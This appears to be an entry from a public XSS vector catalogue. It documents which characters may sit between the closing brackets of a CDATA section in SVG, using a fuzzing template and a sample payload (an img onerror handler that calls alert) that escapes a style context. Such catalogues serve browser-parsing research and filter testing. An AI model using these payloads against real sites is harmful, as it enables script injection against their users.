Characters in-between square brackets that close cdata

This vector shows which characters are allowed in-between right closing bracket in a CDATA section in SVG.

Created Oct 8, 2024

Updated May 27, 2025

Detecting browser...

CategoryCSS Parsing

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<svg><style>⟦0D⟧
x = "<![CDATA[</style><img title="]$[chr]]></style></svg><img src onerror=log($[i])>">

Sample payloads

<svg><style>⟦0D⟧
x = "<![CDATA[</style><img title="]]]></style></svg><img src onerror=alert(93)>">